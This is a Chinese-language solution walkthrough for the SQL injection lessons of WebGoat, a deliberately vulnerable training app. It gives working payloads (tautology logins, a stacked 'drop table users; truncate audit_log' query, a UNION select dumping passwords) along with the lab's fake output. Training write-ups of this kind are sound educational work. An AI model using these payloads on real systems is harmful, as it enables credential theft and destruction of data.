WebGoat SQL注入解题思路
java -jar webgoat-server-8.0.0.M21.jar
http://127.0.0.1:8080/WebGoat/
注意大小写。
地址: http://127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/6
题目中说,存在注入的SQL语句为:
"select * from users where LAST_NAME = '" + userName + "'";
这是一个字符串类型的SQL注入。
可选的的注入方式有:
**方式1:Smith' or '1'='1
。**其实可以写任意字符串,而不必是Smith。
拼起来的完整SQL语句为:select * from users where LAST_NAME = 'Smith' or '1'='1'
**方式2:' or 1=1 --
。**干脆不给LAST_NAME设置有效值,并且通过--
将SQL语句中的'
注释掉。
拼起来的完整SQL语句为:select * from users where LAST_NAME = '' or 1=1 --'
,--'
是注释,所以SQL语法是没有问题的。
**方式3:Smith';drop table users; truncate audit_log;--
。**这是堆叠的SQL语句,『堆叠』的英文叫做 『 stacked 』。如果是多条select语句,那么叫做堆叠查询(stacked queries)。
这一条执行之后,表 users 就被删掉了。并且将 audit_log 表中的数据删掉(而不会触发triggers)。
拼起来的完整SQL语句为:select * from users where LAST_NAME = 'Smith';drop table users; truncate audit_log;--'
**方式4:' or true --
。**其实这种方式跟方式2是一样的。true本身也是有效的。但是,这里的true给人的意思是,你可以替换成任意复杂的SQL表达式,只要结果是true就可以了。这样可以增加对SQL注入的成功率。
地址: http://127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/7
存在注入的SQL语句为: "select * from users where USERID = " + userID;
这是一个数字类型的SQL注入。
可选的注入方式有:
方式1: 1 or 1=1
。拼起来的完整SQL语句为:select * from users where USERID = 1 or 1=1
。1 or 1=1
里第一个数字1可以替换成任意数字。例如1111 or 1=1
方式2:1234 or true
。true是有效值。也可以将true替换为其他的SQL语句,只要SQL语句的结果为true就行。
地址: http://127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjectionAdvanced.lesson/2
题目给出一个表的信息:
CREATE TABLE user_system_data (userid int not null primary key,
user_name varchar(12),
password varchar(10),
cookie varchar(30));
而且题目要求找到Dave的密码。
首先,可以通过 ' or 1=1 --
尝试一下。显示出查询到的数据:
You have succeed:
USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT,
101, Joe, Snow, 987654321, VISA, , 0,
101, Joe, Snow, 2234200065411, MC, , 0,
102, John, Smith, 2435600002222, MC, , 0,
102, John, Smith, 4352209902222, AMEX, , 0,
103, Jane, Plane, 123456789, MC, , 0,
103, Jane, Plane, 333498703333, AMEX, , 0,
10312, Jolly, Hershey, 176896789, MC, , 0,
10312, Jolly, Hershey, 333300003333, AMEX, , 0,
10323, Grumpy, youaretheweakestlink, 673834489, MC, , 0,
10323, Grumpy, youaretheweakestlink, 33413003333, AMEX, , 0,
15603, Peter, Sand, 123609789, MC, , 0,
15603, Peter, Sand, 338893453333, AMEX, , 0,
15613, Joesph, Something, 33843453533, AMEX, , 0,
15837, Chaos, Monkey, 32849386533, CM, , 0,
19204, Mr, Goat, 33812953533, VISA, , 0,
显然,Dave的密码不在这里面。
返回的结果,给出了一些信息,比如列数是7,还有列的名字,以及可能的数据类型。
注入的数据为: '; select * from user_system_data --
得到的数据为:
You have succeed:
USERID, USER_NAME, PASSWORD, COOKIE,
101, jsnow, passwd1, ,
102, jdoe, passwd2, ,
103, jplane, passwd3, ,
104, jeff, jeff, ,
105, dave, passW0rD, ,
可以看到dave的密码为 passW0rD 。
Congratulations!
从上面已经知道,注入 ' or 1=1 --
时,返回的数据是7列。而表 user_system_data 只有4列,所以需要将从user_system_data表中查到的数据补齐到7列。
7列数据: USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT
目前 user_system_data 有4列:userid, user_name, password, cookie,将其补齐到7列,为:
userid, user_name, password, null, null, cookie, null。
注入的数据为:' or 1=1 union select userid,user_name,password,null,null,cookie,null from user_system_data --
得到的数据为:
You have succeed:
USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT,
101, Joe, Snow, 2234200065411, MC, , 0,
101, Joe, Snow, 987654321, VISA, , 0,
101, jsnow, passwd1, null, null, , null,
102, John, Smith, 2435600002222, MC, , 0,
102, John, Smith, 4352209902222, AMEX, , 0,
102, jdoe, passwd2, null, null, , null,
103, Jane, Plane, 123456789, MC, , 0,
103, Jane, Plane, 333498703333, AMEX, , 0,
103, jplane, passwd3, null, null, , null,
104, jeff, jeff, null, null, , null,
105, dave, passW0rD, null, null, , null,
10312, Jolly, Hershey, 176896789, MC, , 0,
10312, Jolly, Hershey, 333300003333, AMEX, , 0,
10323, Grumpy, youaretheweakestlink, 33413003333, AMEX, , 0,
10323, Grumpy, youaretheweakestlink, 673834489, MC, , 0,
15603, Peter, Sand, 123609789, MC, , 0,
15603, Peter, Sand, 338893453333, AMEX, , 0,
15613, Joesph, Something, 33843453533, AMEX, , 0,
15837, Chaos, Monkey, 32849386533, CM, , 0,
19204, Mr, Goat, 33812953533, VISA, , 0,
可以看到得到是上面2个表的数据之和(union)。
可以看到dave的密码为 passW0rD 。
Congratulations!
相关系列文章:
WebGoat SQL注入之 Order by注入解题思路
WebGoat SQL注入解题思路
WebGoat SQL盲注 解题思路
WebGoat 8.0 XXE注入 解题思路